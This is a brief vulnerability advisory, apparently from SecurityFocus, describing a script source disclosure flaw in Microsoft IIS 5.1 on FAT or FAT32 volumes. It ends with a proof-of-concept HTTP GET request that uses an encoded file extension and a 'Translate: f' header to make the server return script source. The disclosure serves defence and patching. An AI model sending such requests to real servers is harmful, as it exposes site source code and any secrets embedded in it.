source: https://www.securityfocus.com/bid/14764/info

Microsoft IIS is reportedly affected by a remote script source disclosure vulnerability.

A successful attack causes the Web server to present the requested file as a plain text file and subsequently disclosing the source.

It should be noted that this issue only presents itself when the requested files are stored on a FAT or FAT32 volume and does not arise if the script files are stored on a NTFS volume.

Microsoft IIS 5.1 is vulnerable to this issue.

GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.example.com
Connection: Close